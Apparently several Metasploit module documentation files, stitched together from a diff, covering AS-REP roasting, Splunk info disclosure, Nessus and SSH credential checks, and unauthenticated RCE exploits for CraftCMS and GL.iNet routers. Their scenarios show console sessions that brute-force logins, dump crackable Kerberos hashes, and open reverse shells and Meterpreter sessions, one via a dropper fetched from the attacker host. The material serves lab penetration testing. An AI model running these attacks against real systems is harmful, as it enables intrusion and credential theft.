- Do: `run action=BRUTE_FORCE user_file=<file> rhost=<IP> domain=<FQDN> rhostname=<hostname>`
- The module will attempt to request TGTs for each of the users in the file. This should not lock out accounts.
A crackable value will be displayed for all identified accounts.
- Do: `run action=LDAP rhost=<IP> username=<LDAP_User> password=<LDAP_Password> domain=<FQDN> rhostname=<hostname>`
- The module will use LDAP to request the users without pre-auth required, and request TGTs for these users.
A crackable value will be displayed for all identified accounts.
## Options
### DOMAIN
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.
### USER_FILE
The file containing a list of usernames, each on a new line.
### Rhostname
The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.
### USE_RC4_HMAC
Request a ticket with the lower-security, more easily crackable, RC4_HMAC encryption type. This is
usually preferable, but may be less stealthy.
## Scenarios
### Brute forcing users
An example of brute forcing usernames, in the hope of finding one with pre-auth not required:
```msf
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local rhostname=dc22
[*] Running module against 192.168.1.1
$krb5asrep$23$user@MSF.LOCAL:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832
[*] Query returned 1 result.
[*] Auxiliary module execution completed
```
### Using LDAP
```
msf6 auxiliary(gather/asrep) > run action=LDAP rhost=192.168.1.1 username=azureadmin password=password ldap::auth=kerberos domain=msf.local domaincontrollerrhost=192.168.1.1 rhostname=dc22
[*] Running module against 192.168.1.1
[+] 192.168.1.1:88 - Received a valid TGT-Response
[*] 192.168.1.1:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_409871.bin
[+] 192.168.1.1:88 - Received a valid TGS-Response
[*] 192.168.1.1:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_923760.bin
[+] 192.168.1.1:88 - Received a valid delegation TGS-Response
[+] 192.168.1.1:389 Discovered base DN: DC=msf,DC=local
[+] 192.168.1.1:389 Discovered schema DN: DC=msf,DC=local
$krb5asrep$23$user@MSF.LOCAL:234e56b15bf3a0e3eb93d662ea6ded74$9889b0a449154c1353ea4db388af29381ad367771e2fe7d6a5644180e9f7ca0b1e836fc864f6d240e9ef91124edb13797dcb097f68c537279f80e3fc3c5c86f8f937af23bb2fd58274dd40ea184994cf31de50f508faac86c61749032b2d9e4ae4c74b0f76a0c242497e6765ddfba9c57743b19d4bb97aa3ef3b66cee50a1d3871b0b4ecd3f97d42781b6fb3d8839d8805ae1291d0e9ba07d374ed84ea39fadab548c2b40c87288b4465f234d0c3341e3b27c193a62a3ad7b0bdf04dbe5bf03815d48f766d1c727838f92dd36c437782975a978aefcb33e9
[*] Query returned 1 result.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,88 @@
## Vulnerable Application
Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
`/__raw/services/server/info/server-info?output_mode=json` to a query.
Versisons 6.6.0 through 7.0.1 require authentication.
### Docker Install
#### Splunk 6.5.5
A vulnerable version of Splunk can be installed locally with docker:
`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`
#### Splunk 7.1.0
At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
the service (via website) for the instance to be exploitable. Splunk can be started via docker with:
`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/splunk_raw_server_info`
1. Do: `SET RHOSTS [IP]`
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.
## Options
## Scenarios
### Splunk 6.5.5
```
msf6 > use auxiliary/gather/splunk_raw_server_info
msf6 auxiliary(gather/splunk_raw_server_info) > exploit
[*] Running module against 127.0.0.1
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
[+] Hostname: 3c7b9beb6c3c
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
[+] OS Version: 6.5.0-kali2-amd64
[+] Splunk Version: 6.5.5
[+] Trial Version?: true
[+] Splunk Forwarder?: false
[+] Splunk Product Type: enterprise
[+] License State: EXPIRED
[+] License Key(s): []
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-19 20:56:13
```
### Splunk 7.1.0
```
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
username => admin
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
password => splunksplunk
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
verbose => true
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
[+] Hostname: 523a845e8652
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
[+] OS Version: 6.5.0-kali3-amd64
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-21 01:40:02
[*] Auxiliary module execution completed
```
@@ -0,0 +1,92 @@
## Vulnerable Application
This module will attempt to authenticate to a Nessus server's RPC interface.
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/nessus/nessus_rest_login`
3. Do: set usernames and passwords via the `username` and `password` options, or pass a list via `user_file` and `pass_file` options
4. Do: `run`
5. Hopefully you see somthing like this:
```
[+] 127.0.0.1:8834 - Successful: nessus:4x15pa$$w0rd
```
### Installation Steps
This is a summary of installation steps for downloading, installing and running Nessus on Debian. They are as follows:
1. Go to tenable.com.
2. Download the latest version of nessus. Take note of the version number.
3. Run the following command in the same directory as the .deb file: `dpkg -i Nessus-<version number>-debian6_amd64.deb`
4. Restart nessus with the `systemctl start nessusd` command.
5. Use your browser to access port 8834 on localhost (https://localhost:8834).
## Options
### BLANK_PASSWORDS
Try blank passwords for all users
### BRUTEFORCE_SPEED
How fast to bruteforce, from 0 to 5
### DB_ALL_CREDS
Try each user/password couple stored in the current database
### DB_ALL_PASS
Add all passwords in the current database to the list
### DB_ALL_USERS
Add all users in the current database to the list
### DB_SKIP_EXISTING
Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
### PASSWORD
A specific password to authenticate with
### PASS_FILE
File containing passwords, one per line
### STOP_ON_SUCCESS
Stop guessing when a credential works for a host
### TARGETURI
The path to the Nessus server login API
### THREADS
The number of concurrent threads (max one per host)
### USERNAME
A specific username to authenticate as
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line
### USER_AS_PASS
Try the username as the password for all users
### USER_FILE
File containing usernames, one per line
### VERBOSE
Whether to print output for all attempts
### VHOST
HTTP server virtual host
## Scenarios
```
msf > use scanner/nessus/nessus_rest_login
msf6 auxiliary(scanner/nessus/nessus_rest_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(scanner/nessus/nessus_rest_login) > set password N0tpassword!
password => N0tpassword!
msf6 auxiliary(scanner/nessus/nessus_rest_login) > set username notuser
username => notuser
msf6 auxiliary(scanner/nessus/nessus_rest_login) > run
[*] Attempting to login to /stop using password list
[+] 127.0.0.1:8834 - Success: 'notuser:N0tpassword'!
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/nessus/nessus_rest_login) >
```
@@ -0,0 +1,93 @@
## Vulnerable Application
This module can determine what public keys are configured for key-based authentication across a range of machines,
users, and sets of known keys. The SSH protocol indicates whether a particular key is accepted prior to the client
performing the actual signed authentication request. To use this module, a text file containing one or more SSH keys
should be provided. These can be private or public, so long as no passphrase is set on the private keys.
If you have loaded a database plugin and connected to a database, this module will record authorized public keys and
hosts so you can track your process. Key files may be a single public (unencrypted) key, or several public keys
concatenated together as an ASCII text file. Non-key data should be silently ignored. Private keys will only utilize
the public key component stored within the key file.
### Setup
This module has been tested against Metasploitable2. Installation and setup instructions and additional
information can be found in the Rapid7 documentation here: https://docs.rapid7.com/metasploit/metasploitable-2/
## Verification Steps
1. Have Metasploitable2 running
1. Copy the `msfadmin`'s public key from `/home/msfadmin/.ssh/id_rsa.pub` to your machine
1. Start `msfconsole -q`
1. Do: `use auxiliary/scanner/ssh/ssh_identify_pubkeys`
1. Do: `set rhosts`
1. Do: `set username root`
1. Do: `set key_path` to the copied `id_rsa.pub` file
1. Do: `run`
## Options
### KEY_FILE
Filename of one or several cleartext public keys.
### SSH_DEBUG
When enabled, outputs verbose SSH debug messages.
### SSH_BYPASS
When enabled, verify that authentication was not bypassed when keys are found.
### SSH_KEYFILE_B64
Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.
### KEY_DIR
Directory of several keys. Filenames must not begin with a dot in order to be read.
### SSH_TIMEOUT
The maximum time to negotiate a SSH session.
## Scenarios
### Metasploitable22
```shell
msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > cat id_rsa.pub
[*] exec: cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > options
Module options (auxiliary/scanner/ssh/ssh_identify_pubkeys):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
KEY_FILE id_rsa.pub yes Filename of one or several cleartext public keys.
RHOSTS 192.168.112.178 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root no A specific username to authenticate as
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > run
[*] 192.168.112.178:22 SSH - Trying 1 cleartext key per user.
[+] 192.168.112.178:22 - [1/1] - Public key accepted: 'root' with key '57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' (Private Key: No) - msfadmin@metasploitable
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,231 @@
## Vulnerable Application
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system.
CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely,
potentially compromising the security and integrity of the application.
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary
PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`.
Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`,
a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of
image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious
PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious
PHP code and gaining access to the system.
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating
system as the user that the web services are running as (typically `www-data`).
## Installation
To test this module, you will need a vulnerable CraftCMS application.
This module has been tested on:
- [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment.
### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV
* Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution.
* Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/).
* Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/).
* NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and
* set it to `4.4.14` or lower.
* Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version.
* See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions).
* Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site)
* To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine.
* You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts).
You are now ready to test the module.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892`
- [x] `set rhosts <ip-target>`
- [x] `set rport 443`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>`
- [x] `exploit`
you should get a `shell` or `Meterpreter`
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info
Name: Craft CMS unauthenticated Remote Code Execution (RCE)
Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
Platform: Unix, Linux, PHP
Arch: cmd, php, x64, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2023-09-13
Provided by:
chybeta
h00die-gr3y <h00die.gr3y@gmail.com>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP
1 Unix Command
2 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Craft CMS base url
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset
.
When TARGET is not 0:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.
0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability
allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
of the application.
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class
which allows to run arbitary PHP code by escalating the object creation calling some methods available in
`\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
facilitates the reading of images, performance of image processing tasks, and writing of results back
to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the
Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
malicious PHP code and gaining access to the system.
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
access to the underlying operating system as the user that the web services are running as (typically www-data).
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-41892
https://blog.calif.io/p/craftcms-rce
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
https://github.com/advisories/GHSA-4w8r-3xrw-v25g
https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892
View the full module info with the info -d command.
```
## Options
### WEBSHELL
You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated.
### COMMAND
This option provides the user to choose the PHP underlying shell command function to be used for execution.
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
This option is only available when the target selected is either Unix Command or Linux Dropper.
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
## Scenarios
### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.25
[+] Deleted /var/www/html/web/CDfbvAnrZMH.php
[+] Deleted /tmp/php5M63PK
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000
meterpreter > sysinfo
Computer : craftcms-vuln-web
OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1
target => 1
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted /var/www/html/web/XGCuZFdoia.php
[+] Deleted /tmp/phpakTlmu
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000
uname -a
Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux
id
uid=501(www-data) gid=20(dialout) groups=20(dialout)```
### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2
target => 2
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP
[*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP
[*] Sending payload to 192.168.201.25 (Wget/1.21)
[*] Sending stage (3045380 bytes) to 192.168.201.25
[+] Deleted /var/www/html/web/sFQEhvKKcl.php
[+] Deleted /tmp/phpeQPKpy
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.16.2
OS : Debian 11.8 (Linux 6.4.16-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
## Limitations
Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory
set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of
any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file.
These files start with `php` and you can list them with the command `ls php*`.
@@ -0,0 +1,319 @@
## Vulnerable Application
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module.
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua`
string pattern matching and SQL injection vulnerability.
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- X3000: v4.0.0 - v4.4.2;
- XE3000: v4.0.0 - v4.4.3;
- SFT1200: v4.3.6;
- and potentially others (just try ;-)
## Installation
Ideally, to test this module, you would need a vulnerable GL.iNet device.
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
we can simulate the router and test the vulnerable endpoint.
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
* GL.iNet Router model AR300M with firmware v4.3.7
* GL.iNet Router model AR300M16 with firmware v4.3.7
* GL.iNet Router model MT300N-V2 with firmware v4.3.7
* GL.iNet Router model MT1300 with firmware v4.3.7
### Installation steps to emulate the router firmware with FirmAE
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem.
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
* Download the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16).
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration.
* Start emulation.
* First run `./init.sh` to initialize and start the Postgress database.
* Start a debug session `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin`
* This will take a while, but in the end you should see the following...
```shell
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:392 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:427 errors:0 dropped:0 overruns:0 frame:0
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB)
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
```
* You should now be able to `ping` the network address 192.168.8.1 from your host.
* Run a `nmap` command to check the services (HTTP TCP port 80).
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`.
```shell
# ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link>
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet)
RX packets 39 bytes 4692 (4.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 4044 (3.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```
```shell
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
443/tcp open https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
```
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Unix Command, 1=Linux Dropper>`
- [x] `exploit`
You should get a `shell` or `Meterpreter`.
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
Platform: Unix, Linux
Arch: cmd, mipsle, mipsbe, armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-12-10
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Unknown
DZONERZY
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (UDP)
SID no Session ID
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
